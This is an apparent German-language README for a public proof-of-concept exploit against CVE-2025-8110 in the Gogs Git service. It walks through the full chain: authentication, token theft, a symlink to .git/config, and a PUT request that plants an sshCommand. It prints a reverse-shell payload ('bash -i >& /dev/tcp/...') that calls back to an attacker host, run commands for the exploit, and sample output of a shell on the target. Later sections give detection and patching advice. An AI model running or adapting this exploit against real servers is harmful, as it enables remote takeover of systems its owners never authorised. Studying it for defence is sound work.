
PoC-Exploit für CVE-2025-8110
CVE-2025-8110 ist eine kritische Schwachstelle in Gogs, die authentifizierten Angreifern die Möglichkeit gibt, durch Manipulation von Repository-Symlinks eine Code-Ausführung aus der Ferne zu erreichen. Dieser Proof-of-Concept zeigt die vollständige Angriffskette, von der Authentifizierung bis zum Erhalt einer Reverse Shell.
Die Schwachstelle besteht, weil Gogs beim Umgang mit Repository-Dateien über seine API Symlinks folgt, sodass ein Angreifer sensible Dateien wie .git/config lesen und ändern kann. Durch das Einfügen einer schädlichen sshCommand-Direktive können beliebige Systembefehle mit den Rechten des Gogs-Dienstkontos ausgeführt werden.
CVSS-Score: 7.2 (Hoch)
Angriffsvektor: Netzwerk
Authentifizierung erforderlich: Ja
Benutzerinteraktion: Keine
Auswirkung: Vollständige Systemkompromittierung
requests>=2.28.0
beautifulsoup4>=4.11.0
rich>=13.0.0
urllib3>=1.26.0
git clone https://github.com/oguiii/CVE-2025-8110.git
cd CVE-2025-8110
pip install -r requirements.txt
CVE-2025-8110/
├── CVE-2025-8110.py # Haupt-Exploit-Skript
├── requirements.txt # Python-Abhängigkeiten
└── README.md # Dokumentation
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -x
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -v
┌─────────────────────────────────────────────────────────────────────────────┐
│ CVE-2025-8110 Exploitation Chain │
└─────────────────────────────────────────────────────────────────────────────┘
Step 1: Authentication
├── Navigate to /user/login
├── Extract CSRF token from login page
├── Submit credentials with CSRF token
└── Establish authenticated session
Step 2: Application Token Generation
├── Navigate to /user/settings/applications
├── Extract CSRF token from settings page
├── Generate new application token
└── Extract token from response
Step 3: Malicious Repository Creation
├── Create repository via API with auto_init
├── Generate random repository name
└── Obtain repository URL
Step 4: Symlink Upload
├── Clone repository locally
├── Create symlink pointing to .git/config
├── Add, commit, and push changes
└── Verify successful upload
Step 5: RCE Exploitation
├── Craft malicious .git/config with sshCommand
├── Base64 encode configuration content
├── Upload via API to symlink target
└── Trigger command execution
Step 6: Reverse Shell
├── Connection established to attacker host
├── Interactive shell access
└── Command execution on target
Gogs unterlässt es, den Symlink-Traversal bei der Handhabung von Repository-Dateien über seine API ordnungsgemäß zu bereinigen. Wenn über den API-Endpunkt auf eine Datei zugegriffen wird, folgt Gogs ohne Validierung Symlinks, was den Zugriff auf sensible Dateien außerhalb des Repository-Verzeichnisses ermöglicht.
Symlink-Erstellung
ln -s .git/config malicious_link
git add malicious_link
git commit -m "Add symlink"
git push origin master
Bösartige Konfiguration
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
sshCommand = bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
API-Ausnutzung
PUT /api/v1/repos/{username}/{repo}/contents/malicious_link
Authorization: token {application_token}
{
"message": "Exploit CVE-2025-8110",
"content": "base64_encoded_config"
}
def extract_csrf(html_text):
"""Parse CSRF token from hidden input with multiple fallback methods."""
# Method 1: Input with name _csrf
soup = BeautifulSoup(html_text, "html.parser")
token_input = soup.select_one("input[name='_csrf']")
if token_input and token_input.get("value"):
return token_input.get("value")
# Method 2: Input with name csrf_token
token_input = soup.select_one("input[name='csrf_token']")
if token_input and token_input.get("value"):
return token_input.get("value")
# Method 3: Meta tag with CSRF
meta_tag = soup.find("meta", {"name": "_csrf"})
if meta_tag and meta_tag.get("content"):
return meta_tag.get("content")
# Method 4: Regex pattern in script tags
pattern = r'"csrf_token"\s*:\s*"([^"]+)"'
match = re.search(pattern, html_text)
if match:
return match.group(1)
# Method 5: Regex for hidden input
pattern = r'<input[^>]*name="[_-]csrf"[^>]*value="([^"]+)"'
match = re.search(pattern, html_text, re.IGNORECASE)
if match:
return match.group(1)
raise ValueError("CSRF token not found in form response")
git_config = f"""[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
sshCommand = {command}
[remote "origin"]
url = git@localhost:gogs/{repo_name}.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
"""
# Angreifer-Maschine (10.10.14.15)
nc -lvnp 4444
Listening on [0.0.0.0] (family 0, port 4444)
# Exploit ausführen
python3 CVE-2025-8110.py -u https://gogs.internal.local -lh 10.10.14.15 -lp 4444 -U admin -P SecurePass123
[INFO] Starting CVE-2025-8110 exploit
[INFO] Target URL: https://gogs.internal.local
[INFO] Attacker host: 10.10.14.15:4444
[INFO] Username: admin
[INFO] Authenticating to Gogs...
[INFO] Login CSRF token found: abc123def456...
[SUCCESS] Authenticated successfully
[INFO] Retrieving application token...
[INFO] Settings CSRF token found: xyz789uvw012...
[SUCCESS] Application token: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0
[INFO] Creating malicious repository...
[SUCCESS] Repository created: 6f7e8d9c0a1b
[INFO] Uploading malicious symlink...
[INFO] Cloning repository...
[INFO] Creating symlink: malicious_link -> .git/config
[INFO] Committing and pushing changes...
[SUCCESS] Symlink uploaded successfully
[INFO] Sending exploit payload...
[SUCCESS] Exploit sent, check your listener!
[INFO] Command: bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
[SUCCESS] Exploit likely successful (timeout indicates reverse shell)
Connection received on 10.10.14.15:4444
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0$ whoami
gogs
bash-5.0$ id
uid=1000(gogs) gid=1000(gogs) groups=1000(gogs)
bash-5.0$ pwd
/home/gogs/gogs-repositories/admin/6f7e8d9c0a1b.git
bash-5.0$ hostname
gogs-server
bash-5.0$ uname -a
Linux gogs-server 5.4.0-80-generic #90-Ubuntu SMP Fri Jul 9 22:49:44 UTC 2021 x86_64 GNU/Linux
bash-5.0$ cat /etc/passwd | head -3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
So überprüfen Sie Ihre Gogs-Version:
# Rufen Sie die Gogs-Weboberfläche auf und prüfen Sie die Fußzeile
# Oder verwenden Sie die API
curl https://gogs.example.com/api/v1/version
Gogs aktualisieren
# Sichern der vorhandenen Installation
cp -r /home/gogs/gogs /home/gogs/gogs.backup
# Neueste Version herunterladen und installieren
wget https://dl.gogs.io/gogs_latest_linux_amd64.zip
unzip gogs_latest_linux_amd64.zip
cd gogs
./gogs web
Symlink-Unterstützung deaktivieren
# In custom/conf/app.ini
[repository]
DISABLE_SYMLINKS = true
Eingabevalidierung implementieren
# Zugriff auf die Gogs-API einschränken
iptables -A INPUT -p tcp --dport 3000 -s vertrautes_subnetz -j ACCEPT
iptables -A INPUT -p tcp --dport 3000 -j DROP
Repository-Aktivität
API-Aktivität
/api/v1/repos/*/contents/*.git/config über die APISystemindikatoren
# Gogs-Zugriffsprotokolle auf API-Ausnutzung prüfen
grep "/api/v1/repos" /var/log/gogs/access.log | grep PUT
# Überwachen auf Symlink-Erstellung in Repositories
find /home/gogs/gogs-repositories -type l
# Auf verdächtige Git-Konfigurationsänderungen prüfen
grep -r "sshCommand" /home/gogs/gogs-repositories/
# Auf ausgehende Verbindungen überwachen
ss -tunp | grep gogs
{
"event_type": "gogs_api_access",
"severity": "high",
"indicators": [
"PUT /api/v1/repos/*/contents/*",
"sshCommand in git config",
"random hex repository names"
],
"recommended_actions": [
"Review repository creation logs",
"Check for symlink files",
"Verify API access patterns"
]
}
Diese Schwachstelle wurde entdeckt und dem Gogs-Entwicklungsteam verantwortungsvoll gemeldet. Der Anbieter hat einen Patch in Version 0.12.6 veröffentlicht.
Dieses Tool wird ausschließlich zu Bildungszwecken und für autorisierte Sicherheitstests bereitgestellt. Benutzer müssen:
Der Autor übernimmt keine Haftung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.
MIT-Lizenz
Copyright (c) 2025 oguiii
Hiermit wird jeder Person, die eine Kopie dieser Software und der zugehörigen Dokumentationsdateien (die "Software") erhält, kostenlos die Erlaubnis erteilt, die Software ohne Einschränkung zu nutzen, einschließlich und ohne Einschränkung der Rechte zur Verwendung, Vervielfältigung, Änderung, Zusammenführung, Veröffentlichung, Verteilung, Unterlizenzierung und/oder zum Verkauf von Kopien der Software, und Personen, denen die Software zur Verfügung gestellt wird, dies unter folgenden Bedingungen zu gestatten:
Der obige Urheberrechtshinweis und dieser Genehmigungshinweis müssen in allen Kopien oder wesentlichen Teilen der Software enthalten sein.
DIE SOFTWARE WIRD "WIE BESEHEN" ZUR VERFÜGUNG GESTELLT, OHNE JEGLICHE AUSDRÜCKLICHE ODER STILLSCHWEIGENDE GEWÄHRLEISTUNG, EINSCHLIESSLICH, ABER NICHT BESCHRÄNKT AUF DIE GEWÄHRLEISTUNG DER MARKTGÄNGIGKEIT, DER EIGNUNG FÜR EINEN BESTIMMTEN ZWECK UND DER NICHTVERLETZUNG VON RECHTEN. IN KEINEM FALL SIND DIE AUTOREN ODER URHEBERRECHTSINHABER HAFTBAR FÜR JEGLICHE ANSPRÜCHE, SCHÄDEN ODER ANDERE VERPFLICHTUNGEN, OB AUS VERTRAG, UNERLAUBTER HANDLUNG ODER ANDERWEITIG, DIE AUS ODER IN VERBINDUNG MIT DER SOFTWARE ODER DER NUTZUNG ODER ANDEREN GESCHÄFTEN MIT DER SOFTWARE ENTSTEHEN.
Mit Hingabe erstellt von oguiii
| Option | Beschreibung | Erforderlich |
|---|
-u, --url | Gogs-Basis-URL (z. B. https://gogs.example.com) | Ja |
-lh, --host | Angreifer-IP-Adresse für Reverse Shell | Ja |
-lp, --port | Angreifer-Port für Reverse Shell | Ja |
-U, --username | Gogs-Benutzername | Ja |
-P, --password | Gogs-Passwort | Ja |
-x, --proxy | Proxy aktivieren (localhost:8080) | Nein |
-v, --verbose | Ausführliche Ausgabe aktivieren | Nein |